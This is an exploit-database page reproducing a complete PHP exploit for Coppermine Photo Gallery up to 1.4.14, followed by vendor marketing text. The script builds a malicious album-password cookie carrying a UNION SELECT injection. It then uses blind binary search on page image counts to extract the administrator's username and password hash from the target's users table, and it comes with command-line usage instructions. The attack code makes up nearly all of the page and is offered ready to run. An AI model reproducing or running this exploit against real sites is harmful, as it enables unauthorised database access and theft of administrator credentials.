Lucene search
K

Coppermine Photo Gallery <= 1.4.14 Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Coppermine Photo Gallery <= 1.4.14 Remote SQL Injection Exploit. RST/GHC PRIVATE. CPG 1.4.10 SQL injection in private album function through array indexes with COOKIE

Code

                                                &#60;?php
#############################################
# RST/GHC PRIVATE 
# CPG 1.4.10 sql injection exploit
# Date: 17.05.07
# bug: SQL injection in private album
# function through array indexes with COOKIE 
#############################################
error_reporting (E_ERROR);
ini_set(&#34;max_execution_time&#34;,0);
intro();
if ($argc &#60; 4 ){
        print &#34; Usage: &#34; . $argv[0] . &#34; &#60;host&#62; &#60;dir&#62; &#60;force&#62; [table prefix]\n&#34;;
        print &#34;        &#60;host&#62;                          - hostname\n&#34;;           
        print &#34;        &#60;dir&#62;                           - web dirname \n&#34;;           
        print &#34;        &#60;force&#62;                         - force mode - &#39;0&#39; - for Off or \&#34;album number\&#34; for force mode On \n&#34;;           
        print &#34;        [table prefix]          - prefix of sql tables\n&#34;;           
        print &#34; example: &#34; . $argv[0] . &#34; coppermine.site photo/ 1 cpg1410\n&#34;;
        credits();
}
###############################################
/* FUNCTIONS */
##############################################

if (!function_exists(str_split)){ ### for PHP4 &#60;&#60; FIX
        function str_split($str)
      {
        $str_array=array(); 
        $len=strlen($str);
        for($i=0;$i&#60;$len;$i++) $str_array[]=$str{$i};
        return $str_array;
       }
}

function toSql($str){
        $a_str = str_split ($str);
        $s_str = &#39;0x&#39;;
        foreach ($a_str as $val){
                $s_str .= sprintf(&#34;%X&#34;,ord($val));
        }
        return $s_str;
}

function toCookie ($str){
        $str = &#34;-1) UNION SELECT &#34; .toSql ($str). &#34;,1 as md5_password/*&#34;;
        $c_str=array(0=&#62;&#34;8&#34;, $str=&#62;&#34;1&#34;);
        $c_str = $GLOBALS[&#39;prefix&#39;].&#39;_albpw=&#39;.urlencode(serialize($c_str)).&#39;;&#39;.$GLOBALS[&#39;cookies&#39;];
        return $c_str;
}


function getAlbum($text){
        if (preg_match(&#34;/(?&#60;=album=)[1-9]{1}(?=\&#34;&#62;)/&#34;, $text, $match)) {
                return intval($match[0]); 
        }
         else return 0;

}

function getCookie($text){
        if (preg_match_all(&#34;/(?&#60;=Set-Cookie:)(.*)(?=expires)/&#34;, $text, $match)) {$cookie = $match[0][0].$match[0][1];}
        else {$cookie = &#39;&#39;;}
        return $cookie; 
}

function getPrefix($text){
        if (preg_match(&#34;/(?&#60;=\s)[a-z0-9_]*(?=_data)/&#34;, $text, $match)) return trim($match[0]);
        else return false;
}

function toPage($page){
 $pattern = &#34;/(?&#60;=HTTP).*(?=&#60;html)/s&#34;;
 $replacement = &#39;&#39;;
 $page = preg_replace($pattern,$replacement,$page);
 /* Let&#39;s count images on the page */
 if (preg_match_all(&#34;/&#60;img/&#34;, $page, $match)) return count($match[0]);
 else return 0;
}

function sendit($page, $method, $cookie=&#39;&#39;){
global $argv;
        $data =&#39;&#39;;
        $host = $argv[1];
        $page = $argv[2] . $page;
        $referer = &#39;http://&#39;.$host;
    $user_agent = &#39;Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)&#39;;
    $result = &#39;&#39;;        
        $sock = fsockopen($host, 80, $errno, $errstr, 50);
        if (!$sock) die(&#34;$errstr ($errno)\n&#34;);
        fputs($sock, &#34;$method /$page HTTP/1.0\r\n&#34;);
        fputs($sock, &#34;Host: $host&#34; . &#34;\r\n&#34;);
        fputs($sock, &#34;Content-type: application/x-www-form-urlencoded\r\n&#34;);
        fputs($sock, &#34;Content-length: &#34; . strlen($data) . &#34;\r\n&#34;);
        fputs($sock, &#34;Referer: $referer&#34;. &#34;\r\n&#34;);
        fputs($sock, &#34;User-Agent:  $user_agent&#34; . &#34;\r\n&#34;);        
        fputs($sock, &#34;Accept: */*\r\n&#34;);
        if ($cookie !==&#39;&#39;) {fputs($sock, &#34;Cookie: $cookie\r\n&#34;);}
        fputs($sock, &#34;\r\n&#34;);
        fputs($sock, &#34;$data\r\n&#34;);
        fputs($sock, &#34;\r\n&#34;);

    while (!feof($sock)) {
        $result .= fgets ($sock,8192);
    }           
        fclose($sock);
                //print $result; ### DEBUGER
    return $result; 
    
}

function credits(){
echo &#39;
+==========================================+
+ Coded: 17.05.07 * Bug found in Feb.2007  +
+==========================================+
&#39;; 
exit;
}


function intro(){
echo &#39;
          * P R I V A T E  *
+==========================================+
| RST/GHC Coppermine SQL injection exploit |
+==========================================+
|  &#62;&#62;&#62; vulnerable: CPG 1.4.10 stable  &#60;&#60;&#60;  |
+------------------------------------------+
&#39;;

}

#####################################################################
### HACK FUNCTIONS
#####
####
### what to find:
## user_name   user_password    FROM  cpg1410_users WHERE user_id=1
####################################################################

function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn  - position 
{
        global $argv;
        $tprefix = (isset($argv[4])) ? $argv[4]  : &#39;cpg1410&#39;;
        $query = &#39;ASCII(substr((SELECT user_&#39;.$param.&#39; FROM &#39;.$tprefix.&#39;_users WHERE user_id=1),&#39;.$sn.&#39;,1))&#39; . $cond;
        $sql = &#39;0) UNION SELECT &#39;.$GLOBALS[&#39;album&#39;].&#39; AND &#39; .$query. &#39;/*&#39;; 
           //echo $sql; ###DEBUG
        return toCookie($sql);

}
//////////////
function blind($param, $sn, $fmin, $fmax)
{
 if (($fmax-$fmin)&#60;5) { return crack($param, $fmin, $fmax, $sn) ;}
 $compare = intval($fmin + ($fmax-$fmin)/2);
 $crcheck = &#34;&#62;&#34;. $compare;
 if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
    return blind($param, $sn, $compare, $fmax);
    }
 else {
    return blind($param, $sn, $fmin, $compare+1); 
        }
}

function crack($param, $cmin, $cmax, $sn)
{
 for ($i=$cmin; $i &#60;=$cmax; $i++){
   $crcheck = &#39;=&#39;.$i;
   $sqlCookie = makeExpl($param, $crcheck ,$sn);
   if (check($sqlCookie) == 1){print chr($i); return 1;}
         }
return 0;
}

function check($sqlCookie){
        global $page, $etalon;
        $testPage = toPage(sendit ($page, &#39;GET&#39;, $sqlCookie));
        if ($testPage &#60; $etalon) return 1;
        else return 0;
}

function exploit($param){ 
        echo &#34;\nLet&#39;s define admin&#39;s &#34;. $param . &#34;\n&#34;;
        $min = 48;  # 0
        $max = 122; # z

        $sql_cookies = makeExpl($param,&#39;BETWEEN &#39;.$min . &#39; AND &#39;.$max,1);
        if (check($sql_cookies) == 0) {echo &#39;failed...&#39;; return;}

        $sn=1; 
        while(blind($param,$sn, $min, $max) !== 0) {
                $sn++; if ($sn &#62; 32) return;
        }
}

###############################################################
## START     E X P L O I T    C O D E 
#############################################################
echo &#39;
Exploiting:
[+] target: &#39;. $argv[1].&#39;/&#39;.$argv[2].&#39;
&#39;;
         $page = &#39;&#39;;
        $firstReply = sendit($page, &#39;GET&#39;); 
        $album = getAlbum($firstReply);                                                                  ### get valid album number
        if ($album == 0) {
                echo &#34;[-] No valid album found...\n&#34;; 
                if ($argv[3] != 0) {echo &#34;... Forcing\n&#34;;        $album = $argv[3];}        ### FOR FORCE MODE!!!! If you know exactly album number - put it here
                else {credits();}                                                                                 
                
        }
        $page = &#39;thumbnails.php?album=&#39;.$album;
        $GLOBALS[&#39;album&#39;] = $album;
        echo &#34;[+] Valid album number: &#34;.$album . &#34;\n&#34;;
        
        $GLOBALS[&#39;cookies&#39;] = getCookie($firstReply);                                         ### get cookie from host

        $prefix = getPrefix($GLOBALS[&#39;cookies&#39;]);                                                 ### get cookie prefix
        echo &#34;[+] Cookie prefix: &#34; . $prefix . &#34;\n&#34;;
        $GLOBALS[&#39;prefix&#39;]=$prefix;
        
        $etalon = toPage(sendit ($page, &#39;GET&#39;, $c_cookies));                         ### number of images at etalon page
        
        $first_sql = &#39;0) UNION SELECT &#39;.$album.&#39; AND 1=1/*&#39;;                        ### FIRST sql query - let&#39;s make valid album to be invisible
        $first_cookie = toCookie($first_sql);
        
        if (check($first_cookie) == 0) {echo &#34;exploit failed...&#34;; credits();} ### if album is still visible - site is unvulnerable
        exploit(&#39;name&#39;);
        exploit(&#39;password&#39;);
        credits();

?&#62;

# milw0rm.com [2008-01-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation